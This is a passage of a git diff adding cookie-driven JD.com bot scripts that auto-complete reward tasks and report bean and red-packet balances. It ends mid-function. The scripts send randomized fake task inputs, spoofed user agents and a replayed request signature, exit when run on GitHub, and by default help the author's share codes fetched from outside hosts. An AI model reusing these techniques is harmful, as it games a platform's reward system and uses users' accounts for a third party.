console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + } + } + await queryexpirejingdou();//过期京豆 + await redPacket();//过期红包 + // console.log(`昨日收入:${$.incomeBean}个京豆 🐶`); + // console.log(`昨日支出:${$.expenseBean}个京豆 🐶`) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.expirejingdou = 0; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + // console.log(data) + if (data.ret === 0) { + data['expirejingdou'].map(item => { + console.log(`${timeFormat(item['time'] * 1000)}日过期京豆:${item['expireamount']}\n`); + }) + $.expirejingdou = data['expirejingdou'][0]['expireamount']; + // if ($.expirejingdou > 0) { + // $.message += `\n今日将过期:${$.expirejingdou}京豆 🐶`; + // } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function redPacket() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data).data + $.jxRed = 0, $.jsRed = 0, $.jdRed = 0, $.jdhRed = 0, $.jxRedExpire = 0, $.jsRedExpire = 0, $.jdRedExpire = 0, $.jdhRedExpire = 0; + let t = new Date() + t.setDate(t.getDate() + 1) + t.setHours(0, 0, 0, 0) + t = parseInt((t - 1) / 1000) + for (let vo of data.useRedInfo.redList || []) { + if (vo.orgLimitStr && vo.orgLimitStr.includes("京喜")) { + $.jxRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jxRedExpire += parseFloat(vo.balance) + } + } else if (vo.activityName.includes("极速版")) { + $.jsRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jsRedExpire += parseFloat(vo.balance) + } + } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { + $.jdhRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + $.jdRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2) + $.jsRed = $.jsRed.toFixed(2) + $.jdRed = $.jdRed.toFixed(2) + $.jdhRed = $.jdhRed.toFixed(2) + $.balance = data.balance + $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2) + $.message += `\n当前总红包:${$.balance}(今日总过期${$.expiredBalance})元 🧧\n京喜红包:${$.jxRed}(今日将过期${$.jxRedExpire.toFixed(2)})元 🧧\n极速红包:${$.jsRed}(今日将过期${$.jsRedExpire.toFixed(2)})元 🧧\n京东红包:${$.jdRed}(今日将过期${$.jdRedExpire.toFixed(2)})元 🧧\n健康红包:${$.jdhRed}(今日将过期${$.jdhRedExpire.toFixed(2)})元 🧧`; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_bean_home.js b/jd_bean_home.js new file mode 100644 index 0000000..197ca49 --- /dev/null +++ b/jd_bean_home.js @@ -0,0 +1,563 @@ +/* +领京豆额外奖励&抢京豆 +脚本自带助力码,介意者可将 29行 helpAuthor 变量设置为 false +活动入口:京东APP首页-领京豆 +更新地址:jd_bean_home.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#领京豆额外奖励 +10 7 * * * jd_bean_home.js, tag=领京豆额外奖励, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_bean_home.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_bean_home.js, tag=领京豆额外奖励 + +===============Surge================= +领京豆额外奖励 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_bean_home.js + +============小火箭========= +领京豆额外奖励 = type=cron,script-path=jd_bean_home.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('领京豆额外奖励'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const helpAuthor = true; // 是否帮助作者助力,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + $.newShareCodes = [] + // await getAuthorShareCode(); + // await getAuthorShareCode2(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdBeanHome(); + } + } + // for (let i = 0; i < cookiesArr.length; i++) { + // $.index = i + 1; + // if (cookiesArr[i]) { + // $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + // cookie = cookiesArr[i]; + // if ($.newShareCodes.length > 1) { + // console.log(`\n【抢京豆】 ${$.UserName} 去助力排名第一的cookie`); + // // let code = $.newShareCodes[(i + 1) % $.newShareCodes.length] + // // await help(code[0], code[1]) + // let code = $.newShareCodes[0]; + // await help(code[0], code[1]); + // } + // if (helpAuthor && $.authorCode) { + // console.log(`\n【抢京豆】${$.UserName} 去帮助作者`) + // for (let code of $.authorCode) { + // const helpRes = await help(code.shareCode, code.groupCode); + // if (helpRes && helpRes.data.respCode === 'SG209') { + // break; + // } + // } + // } + // if (helpAuthor && $.authorCode2) { + // for (let code of $.authorCode2) { + // const helpRes = await help(code.shareCode, code.groupCode); + // if (helpRes && helpRes.data.respCode === 'SG209') { + // break; + // } + // } + // } + // for (let j = 1; j < $.newShareCodes.length; j++) { + // console.log(`【抢京豆】${$.UserName} 去助力账号 ${j + 1}`) + // let code = $.newShareCodes[j]; + // await help(code[0], code[1]) + // } + // } + // } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdBeanHome() { + $.doneState = false + // for (let i = 0; i < 3; ++i) { + // await doTask2() + // await $.wait(1000) + // if ($.doneState) break + // } + do { + await doTask2() + await $.wait(3000) + } while (!$.doneState) + await $.wait(1000) + await award("feeds") + await $.wait(1000) + await getUserInfo() + await $.wait(1000) + await getTaskList(); + await receiveJd2(); + await showMsg(); +} + +function getRandomInt(min, max) { + min = Math.ceil(min); + max = Math.floor(max); + return Math.floor(Math.random() * (max - min)) + min; +} +function doTask2() { + return new Promise(resolve => { + const body = {"awardFlag": false, "skuId": `${getRandomInt(10000000,20000000)}`, "source": "feeds", "type": '1'}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0' && data.data){ + console.log(`任务完成进度:${data.data.taskProgress} / ${data.data.taskThreshold}`) + if(data.data.taskProgress === data.data.taskThreshold) + $.doneState = true + } else if (data.code === '0' && data.errorCode === 'HT201') { + $.doneState = true + } else { + //HT304风控用户 + $.doneState = true + console.log(`做任务异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode() { + return new Promise(resolve => { + $.get({url: "https://a.nz.lu/bean.json",headers:{ + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }}, async (err, resp, data) => { + try { + if (err) { + } else { + $.authorCode = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getAuthorShareCode2() { + return new Promise(resolve => { + $.get({url: "https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateBeanHome.json",headers:{ + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }}, async (err, resp, data) => { + try { + if (err) { + } else { + if (safeGet(data)) { + $.authorCode2 = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.post(taskUrl('signBeanGroupStageIndex', 'body'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.jklInfo) { + $.actId = data.data.jklInfo.keyId + let {shareCode, groupCode} = data.data + if (!shareCode) { + console.log(`未获取到助力码,去开团`) + await hitGroup() + } else { + console.log(shareCode, groupCode) + // 去做逛会场任务 + if (data.data.beanActivityVisitVenue && data.data.beanActivityVisitVenue.taskStatus === '0') { + await help(shareCode, groupCode, 1) + } + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + $.newShareCodes.push([shareCode, groupCode]) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function hitGroup() { + return new Promise(resolve => { + const body = {"activeType": 2,}; + $.get(taskGetUrl('signGroupHit', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.respCode === "SG150") { + let {shareCode, groupCode} = data.data.signGroupMain + if (shareCode) { + $.newShareCodes.push([shareCode, groupCode]) + console.log('开团成功') + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + await help(shareCode, groupCode, 1) + } else { + console.log(`为获取到助力码,错误信息${JSON.stringify(data.data)}`) + } + } else { + console.log(`开团失败,错误信息${JSON.stringify(data.data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function help(shareCode, groupCode, isTask = 0) { + return new Promise(resolve => { + const body = { + "activeType": 2, + "groupCode": groupCode, + "shareCode": shareCode, + "activeId": $.actId, + }; + if (isTask) { + console.log(`【抢京豆】做任务获取助力`) + body['isTask'] = "1" + } else { + console.log(`【抢京豆】去助力好友${shareCode}`) + body['source'] = "guest" + } + $.get(taskGetUrl('signGroupHelp', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`【抢京豆】${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`【抢京豆】${data.data.helpToast}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getTaskList() { + return new Promise(resolve => { + const body = {"rnVersion": "4.7", "rnClient": "2", "source": "AppHome"}; + $.post(taskUrl('findBeanHome', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let beanTask = data.data.floorList.filter(vo => vo.floorName === "种豆得豆定制化场景")[0] + if (!beanTask.viewed) { + await receiveTask() + await $.wait(3000) + } + + let tasks = data.data.floorList.filter(vo => vo.floorName === "赚京豆")[0]['stageList'] + for (let i = 0; i < tasks.length; ++i) { + const vo = tasks[i] + if (vo.viewed) continue + await receiveTask(vo.stageId, `4_${vo.stageId}`) + await $.wait(3000) + } + await award() + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveTask(itemId = "zddd", type = "3") { + return new Promise(resolve => { + const body = {"awardFlag": false, "itemId": itemId, "source": "home", "type": type}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`完成任务成功,进度${data.data.taskProgress}/${data.data.taskThreshold}`) + } else { + console.log(`完成任务失败,${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function award(source="home") { + return new Promise(resolve => { + const body = {"awardFlag": true, "source": source}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`领奖成功,获得 ${data.data.beanNum} 个京豆`) + message += `领奖成功,获得 ${data.data.beanNum} 个京豆\n` + } else { + console.log(`领奖失败,${data.errorMessage}`) + // message += `领奖失败,${data.errorMessage}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function receiveJd2() { + var headers = { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167515 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'Cookie': cookie + }; + var dataString = 'body=%7B%7D&build=167576&client=apple&clientVersion=9.4.3&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=10&screen=1242%2A2208&sign=19c33b5b9ad4f02c53b6040fc8527119&st=1614701322170&sv=122' + var options = { + url: 'https://api.m.jd.com/client.action?functionId=sceneInitialize', + headers: headers, + body: dataString + }; + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try 